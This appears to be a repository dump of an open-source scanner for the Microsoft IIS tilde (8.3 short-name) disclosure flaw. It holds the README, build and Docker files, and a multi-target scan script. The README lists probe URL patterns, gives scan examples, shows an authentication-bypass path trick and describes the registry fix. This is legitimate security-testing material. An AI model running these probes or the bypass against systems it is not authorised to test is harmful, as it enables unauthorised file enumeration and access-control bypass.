├── .github └── FUNDING.yml ├── .gitignore ├── Docker ├── Dockerfile └── entrypoint.sh ├── META-INF └── MANIFEST.MF ├── README.md ├── build.gradle ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── presentation └── Steelcon-2023-Beyond_Microsoft_IIS_Short_File_Name_Disclosure.pdf ├── release ├── config.xml ├── iis_shortname_scanner.jar ├── multi_targets.sh └── run.bat └── src └── main └── java └── iisShortNameScanner ├── FileDirObject.java └── IISShortNameScannerTool.java /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: irsdl # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry 13 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 14 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .gradle 2 | .idea 3 | /out/ 4 | /build/ 5 | gradle-app.setting 6 | .gradletasknamecache 7 | .git 8 | .idea/ 9 | /release/config-test.xml 10 | /release/20*.jar -------------------------------------------------------------------------------- /Docker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM openjdk:18-slim-buster 2 | 3 | RUN apt-get update && apt-get install -y git python3 4 | RUN mkdir -p /app 5 | 6 | WORKDIR /app 7 | 8 | RUN git clone https://github.com/irsdl/IIS-ShortName-Scanner 9 | RUN mv ./IIS-ShortName-Scanner/release/* . 10 | RUN mv ./IIS-ShortName-Scanner/Docker/entrypoint.sh . 11 | RUN chmod +x ./multi_targets.sh ./entrypoint.sh 12 | 13 | ARG USERNAME=test 14 | ARG USER_UID=1000 15 | ARG USER_GID=$USER_UID 16 | 17 | RUN groupadd --gid $USER_GID $USERNAME \ 18 | && useradd --uid $USER_UID --gid $USER_GID -m $USERNAME 19 | 20 | RUN chown -R $USERNAME:$USERNAME /app 21 | 22 | USER $USERNAME 23 | 24 | ENTRYPOINT ["./entrypoint.sh"] 25 | -------------------------------------------------------------------------------- /Docker/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [[ "$1" == "-f" ]]; 4 | then 5 | shift 1; 6 | ./multi_targets.sh "$@"; 7 | exit; 8 | fi 9 | 10 | java -jar iis_shortname_scanner.jar "$@" 11 | -------------------------------------------------------------------------------- /META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: IIS_ShortName_Scanner 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | IIS Short Name Scanner - 2012-2023 & Still Giving... 2 | ===================== 3 | 4 | Latest presentation: 5 | * [Beyond Microsoft IIS Short File Name Disclosure](/presentation/Steelcon-2023-Beyond_Microsoft_IIS_Short_File_Name_Disclosure.pdf) 6 | 7 | Latest blog post: 8 | * https://soroush.me/blog/2023/07/thirteen-years-on-advancing-the-understanding-of-iis-short-file-name-sfn-disclosure/ 9 | 10 | I recommended everyone to try @bitquark's new tool in Go before trying this old tool: https://github.com/bitquark/shortscan 11 | 12 | The latest version of scanner for IIS short file name (8.3) disclosure vulnerability by using the tilde (~) character. This issue has been discovered in 2010 but has been evolved a few times since. 13 | 14 | This is an old tool and the code is a spaghetti, but it is capable to tackle even the latest IIS (IIS 10 on Windows Server 2022 at the time of writing this)! It has recently been updated, so it can support sending custom HTTP methods without reflection hacks in Java. However, some awesome researchers have tried to reimplement this tool using other technologies such as in Go, and when they become mature, they probably work better than this. 15 | 16 | Description 17 | ------------- 18 | 19 | Microsoft IIS contains a flaw that may lead to an unauthorized information disclosure. The issue is triggered during the parsing of a request that contains a tilde character (~). This may allow a remote attacker to gain access to file and folder name information. 20 | 21 | This scanner was moved from https://code.google.com/p/iis-shortname-scanner-poc/ to GitHub for better support. 22 | 23 | Original research file: http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf 24 | 25 | It is possible to detect short names of files and directories which have an 8.3 equivalent in Windows by using some vectors in several versions of Microsoft IIS. For instance, it is possible to detect all short-names of ".aspx" files as they have 4 letters in their extensions. 26 | 27 | Note: new techniques have been introduced to the latest versions of this scanner, and it can now scan IIS10 when it is vulnerable. 28 | 29 | It is not easy to find the original file or folder names based on the short names. However, the following methods are recommended as examples: 30 | - If you can guess the full extension (for instance .ASPX when the 8.3 extension is .ASP), always try the short name with the full extension. 31 | - Sometimes short names are listed in Google which can be used to find the actual names 32 | - Using text dictionary files is also recommended. If a name starts with another word, the second part should be guessed based on a dictionary file separately. For instance, ADDACC~1.ASP can be AddAccount.aspx, AddAccounts.aspx, AddAccurateMargine.aspx, etc 33 | - Searching in the website contents and resources can also be useful to find the full name. This can be achieved for example by searching Site Map in the Burp Suite tool. 34 | 35 | Installation 36 | -------------- 37 | 38 | The recent version has been compiled by using Open JDK 18 (the old jar files for other JDKs have been removed but can be found in the Git history). 39 | 40 | You will need to download files in the [/release](https://github.com/irsdl/IIS-ShortName-Scanner/tree/master/release) directory to use this old application! 41 | 42 | You can also compile this application yourself. Please submit any issues in GitHub for further investigation. 43 | 44 | Usage 45 | ------- 46 | 47 | ### Command line options 48 | 49 | USAGE 1 (To verify if the target is vulnerable with the default config file): 50 | ``` 51 | java -jar iis_shortname_scanner.jar [URL] 52 | ``` 53 | 54 | USAGE 2 (To find 8.3 file names with the default config file): 55 | ``` 56 | java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] 57 | ``` 58 | 59 | USAGE 3 (To verify if the target is vulnerable with a new config file): 60 | ``` 61 | java -jar iis_shortname_scanner.jar [URL] [configFile] 62 | ``` 63 | 64 | USAGE 4 (To find 8.3 file names with a new config file): 65 | ``` 66 | java -jar iis_shortname_scanner.jar [ShowProgress] [ThreadNumbers] [URL] [configFile] 67 | ``` 68 | 69 | USAGE 5 (To scan multiple targets using a linux box): 70 | ``` 71 | ./multi_targets.sh 72 | ``` 73 | 74 | DETAILS: 75 | ``` 76 | [ShowProgress]: 0= Show final results only - 1= Show final results step by step - 2= Show Progress 77 | [ThreadNumbers]: 0= No thread - Integer Number = Number of concurrent threads [be careful about IIS Denial of Service] 78 | [URL]: A complete URL - starts with http/https protocol 79 | [configFile]: path to a new config file which is based on config.xml 80 | ``` 81 | 82 | Examples: 83 | ``` 84 | - Example 0 (to see if the target is vulnerable): 85 | java -jar iis_shortname_scanner.jar http://example.com/folder/ 86 | 87 | - Example 1 (uses no thread - very slow): 88 | java -jar iis_shortname_scanner.jar 2 0 http://example.com/folder/new%20folder/ 89 | 90 | - Example 2 (uses 20 threads - recommended): 91 | java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/new%20folder/ 92 | 93 | - Example 3 (saves output in a text file): 94 | java -jar iis_shortname_scanner.jar 0 20 http://example.com/folder/new%20folder/ > c:\results.txt 95 | 96 | - Example 4 (bypasses IIS basic authentication): 97 | java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/AuthNeeded:$I30:$Index_Allocation/ 98 | 99 | - Example 5 (using a new config file): 100 | java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/ newconfig.xml 101 | 102 | - Example 6 (scanning multiple targets using a linux box): 103 | ./multi_targets.sh scope.txt 1 104 | ``` 105 | 106 | Note 1: Edit config.xml file to change the scanner settings and add additional headers. 107 | Note 2: Sometimes it does not work for the first time, and you need to try again. 108 | 109 | 110 | How Does It Work? 111 | ------------------ 112 | In the following examples, IIS responds with a different message when a file exists: 113 | ``` 114 | http://target/folder/valid*~1.*/.aspx 115 | http://target/folder/invalid*~1.*/.aspx 116 | ``` 117 | 118 | However, different IIS servers may respond differently, and for instance some of them may work with the following or other similar patterns: 119 | ``` 120 | http://target/folder/valid*~1.*\.asp 121 | http://target/folder/invalid*~1.*\.asp 122 | ``` 123 | Method of sending the request such as GET, POST, OPTIONS, DEBUG, ... is also important. 124 | 125 | I believe monitoring the requests by using a proxy is the best way of understating this issue and this scanner. 126 | 127 | 128 | How To Fix This Issue 129 | ---------------------- 130 | 131 | Microsoft will not patch this security issue. Their last response is as follows: 132 | ``` 133 | Thank you for contacting the Microsoft Security Response Center. 134 | 135 | We appreciate your bringing this to our attention. Our previous guidance stands: deploy IIS with 8.3 names disabled. 136 | ``` 137 | 138 | Therefore, it is recommended to deploy IIS with 8.3 names disabled by creating the following registry key on a Windows operating system: 139 | ``` 140 | Key: HKLM\SYSTEM\CurrentControlSet\Control\FileSystem 141 | Name: NtfsDisable8dot3NameCreation 142 | Value: 1 143 | ``` 144 | 145 | Note: The web folder needs to be recreated, as the change to the NtfsDisable8dot3NameCreation registry entry affects only files and directories that are created after the change, so the files that already exist are not affected. 146 | 147 | 148 | Docker Usage 149 | ------------ 150 | build the image: 151 | ```bash 152 | docker build . -t shortname 153 | ``` 154 | 155 | file mode: 156 | ```bash 157 | docker run \ 158 | -v $(realpath urls.txt):/app/urls.txt \ 159 | -v $(realpath output_dir):/app/iis_shortname_results \ 160 | shortname -f urls.txt 161 | ``` 162 | 163 | single mode: 164 | ```bash 165 | docker run shortname 2 20 http://example.com 166 | ``` 167 | 168 | overwrite config file: 169 | ```bash 170 | docker run \ 171 | -v $(realpath config.xml):/app/config.xml \ 172 | shortname http://example.com 173 | ``` 174 | 175 | 176 | References 177 | ------------ 178 | 179 | Research links: 180 | * https://soroush.me/blog/2023/07/thirteen-years-on-advancing-the-understanding-of-iis-short-file-name-sfn-disclosure/ 181 | * https://soroush.secproject.com/blog/2014/08/iis-short-file-name-disclosure-is-back-is-your-server-vulnerable/ 182 | * http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf (old original research) 183 | 184 | Website Reference: 185 | * http://soroush.secproject.com/blog/2012/06/microsoft-iis-tilde-character-vulnerabilityfeature-short-filefolder-name-disclosure/ 186 | 187 | Video Links: 188 | * https://www.youtube.com/watch?v=KbZ-y7b7yDs at SteelCon 2023 189 | * https://www.youtube.com/watch?v=HrJW6Y9kHC4 by shubs (@infosec_au) 190 | * http://www.youtube.com/watch?v=XOd90yCXOP4 191 | 192 | Other links: 193 | * http://www.osvdb.org/83771 194 | * http://www.exploit-db.com/exploits/19525/ 195 | * http://securitytracker.com/id?1027223 196 | 197 | 198 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java-library' 2 | apply plugin: 'maven-publish' 3 | 4 | group 'com.irsdl' 5 | version '' 6 | 7 | apply plugin: 'application' 8 | 9 | repositories { 10 | mavenCentral() 11 | } 12 | 13 | dependencies { 14 | // https://mvnrepository.com/artifact/org.apache.commons/commons-text 15 | implementation 'org.apache.commons:commons-text:1.10.0' 16 | // https://mvnrepository.com/artifact/org.apache.httpcomponents.client5/httpclient5 17 | implementation 'org.apache.httpcomponents.client5:httpclient5:5.2.1' 18 | // https://mvnrepository.com/artifact/org.slf4j/slf4j-simple 19 | implementation 'org.slf4j:slf4j-simple:2.0.7' 20 | // https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api 21 | implementation 'org.apache.logging.log4j:log4j-api:2.20.0' 22 | // https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-slf4j-impl 23 | implementation 'org.apache.logging.log4j:log4j-slf4j-impl:2.20.0' 24 | } 25 | 26 | jar{ 27 | duplicatesStrategy = DuplicatesStrategy.EXCLUDE 28 | archivesBaseName = "iis_shortname_scanner" 29 | manifest { 30 | attributes 'Main-Class': 'iisShortNameScanner.IISShortNameScannerTool' 31 | } 32 | from { 33 | (configurations.runtimeClasspath).collect { it.isDirectory() ? it : zipTree(it) } 34 | }{ 35 | exclude "META-INF/*.SF" 36 | exclude "META-INF/*.DSA" 37 | exclude "META-INF/*.RSA" 38 | exclude "META-INF/*.txt" 39 | } 40 | } 41 | 42 | mainClassName = 'iisShortNameScanner.IISShortNameScannerTool' 43 | 44 | tasks.withType(Jar) { 45 | destinationDirectory = file("$rootDir/release/") 46 | } -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # // IIS Shortname Scanner 2 | # // Released as open source by Soroush Dalili (@irsdl) 3 | # // Researched & developed by Soroush Dalili (@irsdl) 4 | # // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 5 | # // Released under AGPL see LICENSE for more information 6 | # 7 | 8 | org.gradle.warning.mode=all 9 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/irsdl/IIS-ShortName-Scanner/a0f9c3447c468b1cfbb77060dccdc430e658c730/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | # 2 | # // IIS Shortname Scanner 3 | # // Released as open source by Soroush Dalili (@irsdl) 4 | # // Researched & developed by Soroush Dalili (@irsdl) 5 | # // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 6 | # // Released under AGPL see LICENSE for more information 7 | # 8 | 9 | # 10 | # // IIS Shortname Scanner 11 | # // Released as open source by Soroush Dalili (@irsdl) 12 | # // Researched & developed by Soroush Dalili (@irsdl) 13 | # // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 14 | # // Released under AGPL see LICENSE for more information 15 | # 16 | 17 | # 18 | # // IIS Shortname Scanner 19 | # // Released as open source by Soroush Dalili (@irsdl) 20 | # // Researched & developed by Soroush Dalili (@irsdl) 21 | # // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 22 | # // Released under AGPL see LICENSE for more information 23 | # 24 | 25 | distributionBase=GRADLE_USER_HOME 26 | distributionPath=wrapper/dists 27 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.1.1-bin.zip 28 | zipStoreBase=GRADLE_USER_HOME 29 | zipStorePath=wrapper/dists 30 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # Copyright © 2015-2021 the original authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | # 21 | # Gradle start up script for POSIX generated by Gradle. 22 | # 23 | # Important for running: 24 | # 25 | # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is 26 | # noncompliant, but you have some other compliant shell such as ksh or 27 | # bash, then to run this script, type that shell name before the whole 28 | # command line, like: 29 | # 30 | # ksh Gradle 31 | # 32 | # Busybox and similar reduced shells will NOT work, because this script 33 | # requires all of these POSIX shell features: 34 | # * functions; 35 | # * expansions «$var», «${var}», «${var:-default}», «${var+SET}», 36 | # «${var#prefix}», «${var%suffix}», and «$( cmd )»; 37 | # * compound commands having a testable exit status, especially «case»; 38 | # * various built-in commands including «command», «set», and «ulimit». 39 | # 40 | # Important for patching: 41 | # 42 | # (2) This script targets any POSIX shell, so it avoids extensions provided 43 | # by Bash, Ksh, etc; in particular arrays are avoided. 44 | # 45 | # The "traditional" practice of packing multiple parameters into a 46 | # space-separated string is a well documented source of bugs and security 47 | # problems, so this is (mostly) avoided, by progressively accumulating 48 | # options in "$@", and eventually passing that to Java. 49 | # 50 | # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, 51 | # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; 52 | # see the in-line comments for details. 53 | # 54 | # There are tweaks for specific operating systems such as AIX, CygWin, 55 | # Darwin, MinGW, and NonStop. 56 | # 57 | # (3) This script is generated from the Groovy template 58 | # https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt 59 | # within the Gradle project. 60 | # 61 | # You can find Gradle at https://github.com/gradle/gradle/. 62 | # 63 | ############################################################################## 64 | 65 | # Attempt to set APP_HOME 66 | 67 | # Resolve links: $0 may be a link 68 | app_path=$0 69 | 70 | # Need this for daisy-chained symlinks. 71 | while 72 | APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path 73 | [ -h "$app_path" ] 74 | do 75 | ls=$( ls -ld "$app_path" ) 76 | link=${ls#*' -> '} 77 | case $link in #( 78 | /*) app_path=$link ;; #( 79 | *) app_path=$APP_HOME$link ;; 80 | esac 81 | done 82 | 83 | APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit 84 | 85 | APP_NAME="Gradle" 86 | APP_BASE_NAME=${0##*/} 87 | 88 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 89 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 90 | 91 | # Use the maximum available, or set MAX_FD != -1 to use that value. 92 | MAX_FD=maximum 93 | 94 | warn () { 95 | echo "$*" 96 | } >&2 97 | 98 | die () { 99 | echo 100 | echo "$*" 101 | echo 102 | exit 1 103 | } >&2 104 | 105 | # OS specific support (must be 'true' or 'false'). 106 | cygwin=false 107 | msys=false 108 | darwin=false 109 | nonstop=false 110 | case "$( uname )" in #( 111 | CYGWIN* ) cygwin=true ;; #( 112 | Darwin* ) darwin=true ;; #( 113 | MSYS* | MINGW* ) msys=true ;; #( 114 | NONSTOP* ) nonstop=true ;; 115 | esac 116 | 117 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 118 | 119 | 120 | # Determine the Java command to use to start the JVM. 121 | if [ -n "$JAVA_HOME" ] ; then 122 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 123 | # IBM's JDK on AIX uses strange locations for the executables 124 | JAVACMD=$JAVA_HOME/jre/sh/java 125 | else 126 | JAVACMD=$JAVA_HOME/bin/java 127 | fi 128 | if [ ! -x "$JAVACMD" ] ; then 129 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 130 | 131 | Please set the JAVA_HOME variable in your environment to match the 132 | location of your Java installation." 133 | fi 134 | else 135 | JAVACMD=java 136 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 137 | 138 | Please set the JAVA_HOME variable in your environment to match the 139 | location of your Java installation." 140 | fi 141 | 142 | # Increase the maximum file descriptors if we can. 143 | if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then 144 | case $MAX_FD in #( 145 | max*) 146 | MAX_FD=$( ulimit -H -n ) || 147 | warn "Could not query maximum file descriptor limit" 148 | esac 149 | case $MAX_FD in #( 150 | '' | soft) :;; #( 151 | *) 152 | ulimit -n "$MAX_FD" || 153 | warn "Could not set maximum file descriptor limit to $MAX_FD" 154 | esac 155 | fi 156 | 157 | # Collect all arguments for the java command, stacking in reverse order: 158 | # * args from the command line 159 | # * the main class name 160 | # * -classpath 161 | # * -D...appname settings 162 | # * --module-path (only if needed) 163 | # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. 164 | 165 | # For Cygwin or MSYS, switch paths to Windows format before running java 166 | if "$cygwin" || "$msys" ; then 167 | APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) 168 | CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) 169 | 170 | JAVACMD=$( cygpath --unix "$JAVACMD" ) 171 | 172 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 173 | for arg do 174 | if 175 | case $arg in #( 176 | -*) false ;; # don't mess with options #( 177 | /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath 178 | [ -e "$t" ] ;; #( 179 | *) false ;; 180 | esac 181 | then 182 | arg=$( cygpath --path --ignore --mixed "$arg" ) 183 | fi 184 | # Roll the args list around exactly as many times as the number of 185 | # args, so each arg winds up back in the position where it started, but 186 | # possibly modified. 187 | # 188 | # NB: a `for` loop captures its iteration list before it begins, so 189 | # changing the positional parameters here affects neither the number of 190 | # iterations, nor the values presented in `arg`. 191 | shift # remove old arg 192 | set -- "$@" "$arg" # push replacement arg 193 | done 194 | fi 195 | 196 | # Collect all arguments for the java command; 197 | # * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of 198 | # shell script including quotes and variable substitutions, so put them in 199 | # double quotes to make sure that they get re-expanded; and 200 | # * put everything else in single quotes, so that it's not re-expanded. 201 | 202 | set -- \ 203 | "-Dorg.gradle.appname=$APP_BASE_NAME" \ 204 | -classpath "$CLASSPATH" \ 205 | org.gradle.wrapper.GradleWrapperMain \ 206 | "$@" 207 | 208 | # Use "xargs" to parse quoted args. 209 | # 210 | # With -n1 it outputs one arg per line, with the quotes and backslashes removed. 211 | # 212 | # In Bash we could simply go: 213 | # 214 | # readarray ARGS < <( xargs -n1 <<<"$var" ) && 215 | # set -- "${ARGS[@]}" "$@" 216 | # 217 | # but POSIX shell has neither arrays nor command substitution, so instead we 218 | # post-process each arg (as a line of input to sed) to backslash-escape any 219 | # character that might be a shell metacharacter, then use eval to reverse 220 | # that process (while maintaining the separation between arguments), and wrap 221 | # the whole thing up as a single "set" statement. 222 | # 223 | # This will of course break if any of these variables contains a newline or 224 | # an unmatched quote. 225 | # 226 | 227 | eval "set -- $( 228 | printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | 229 | xargs -n1 | 230 | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | 231 | tr '\n' ' ' 232 | )" '"$@"' 233 | 234 | exec "$JAVACMD" "$@" 235 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /presentation/Steelcon-2023-Beyond_Microsoft_IIS_Short_File_Name_Disclosure.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/irsdl/IIS-ShortName-Scanner/a0f9c3447c468b1cfbb77060dccdc430e658c730/presentation/Steelcon-2023-Beyond_Microsoft_IIS_Short_File_Name_Disclosure.pdf -------------------------------------------------------------------------------- /release/config.xml: -------------------------------------------------------------------------------- 1 | 2 | 9 | 10 | 11 | 12 | IIS Short File/Folder Name (8.3) Scanner - Configuration File 13 | 14 | 15 | false 16 | 17 | 18 | false 19 | iis_shortname_scanner_logfile.txt 20 | 21 | 22 | false 23 | 24 | 25 | 26 | 27 | 28 | 29 | 32 | 33 | 34 | @@ 35 | 36 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 60000 49 | 50 | 51 | 10 52 | 53 | 54 | 55 | 56 | 57 | 58 | 1 59 | 60 | , 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | , 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 4 88 | 89 | 90 | 91 | 92 | 93 | 94 | 1 95 | 96 | 97 | true 98 | 99 | false 100 | 101 | false 102 | 103 | 104 | 3 105 | 106 | 112 | 2 113 | 114 | 118 | 1 119 | 120 | 125 | 5 126 | -------------------------------------------------------------------------------- /release/iis_shortname_scanner.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/irsdl/IIS-ShortName-Scanner/a0f9c3447c468b1cfbb77060dccdc430e658c730/release/iis_shortname_scanner.jar -------------------------------------------------------------------------------- /release/multi_targets.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # 4 | # // IIS Shortname Scanner 5 | # // Released as open source by Soroush Dalili (@irsdl) 6 | # // Researched & developed by Soroush Dalili (@irsdl) 7 | # // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 8 | # // Released under AGPL see LICENSE for more information 9 | # 10 | 11 | if [ -z "$1" ]; then 12 | echo "[*] Scanning multiple targets using IIS Short Name (8.3) Scanner by Soroush Dalili - @irsdl" 13 | echo "[*] Usage: $0 " 14 | echo "[*] Example: $0 scope.txt 1" 15 | exit 0 16 | fi 17 | 18 | default_scheme="http" 19 | if [ "$2" = "1" ]; then 20 | default_scheme="https" 21 | fi 22 | # current directory 23 | CUR=`pwd` 24 | 25 | # Load scope 26 | if [ ! -f "$1" ]; then 27 | echo "File not found: $1" 28 | exit 1 29 | fi 30 | scope=`cat "$1"` 31 | 32 | 33 | 34 | ### IIS Shortname Scanner time! 35 | resultDir="$CUR"/iis_shortname_results 36 | mkdir -p "$resultDir" 37 | 38 | uniquehostname=() 39 | while read target; do 40 | if [[ "$target" =~ [\'\"]+ ]]; then 41 | echo "Error: an invalid character was found in $1" 42 | exit 1 43 | fi 44 | if [[ "$target" =~ ^[[:space:]]*$ ]]; then 45 | # the input is whitespace! 46 | myhostname="" 47 | else 48 | myhostname=`python3 -c "from urllib.parse import urlparse;url = urlparse('$target','$default_scheme');print(url.scheme+'://'+url.netloc+url.path)"` 49 | if [ -z "$myhostname" ]; then 50 | # when target is not a url (ip address for example), python variable will be empty 51 | myhostname="$target" 52 | fi 53 | uniquehostname+=("$myhostname") 54 | fi 55 | done <<<"$scope" 56 | 57 | # unique hosts only 58 | uniquehostname=($(printf "%s\n" "${uniquehostname[@]}" | sort -u)); 59 | 60 | 61 | for myhostname in "${uniquehostname[@]}"; do 62 | targetFile=$(echo "$myhostname" | tr '[\/\\\:\000-\017\177\377]' '_') 63 | timeout 30 java -jar iis_shortname_scanner.jar 0 20 "$myhostname" > "$resultDir/iis_shortname_${targetFile}.txt" 64 | done 65 | 66 | -------------------------------------------------------------------------------- /release/run.bat: -------------------------------------------------------------------------------- 1 | java -jar iis_shortname_scanner.jar -------------------------------------------------------------------------------- /src/main/java/iisShortNameScanner/FileDirObject.java: -------------------------------------------------------------------------------- 1 | /* 2 | * // IIS Shortname Scanner 3 | * // Released as open source by Soroush Dalili (@irsdl) 4 | * // Researched & developed by Soroush Dalili (@irsdl) 5 | * // Project link: https://github.com/irsdl/IIS-ShortName-Scanner 6 | * // Released under AGPL see LICENSE for more information 7 | */ 8 | 9 | package iisShortNameScanner; 10 | 11 | /* Currently not used 12 | * This will be completed gradually 13 | * 14 | * */ 15 | 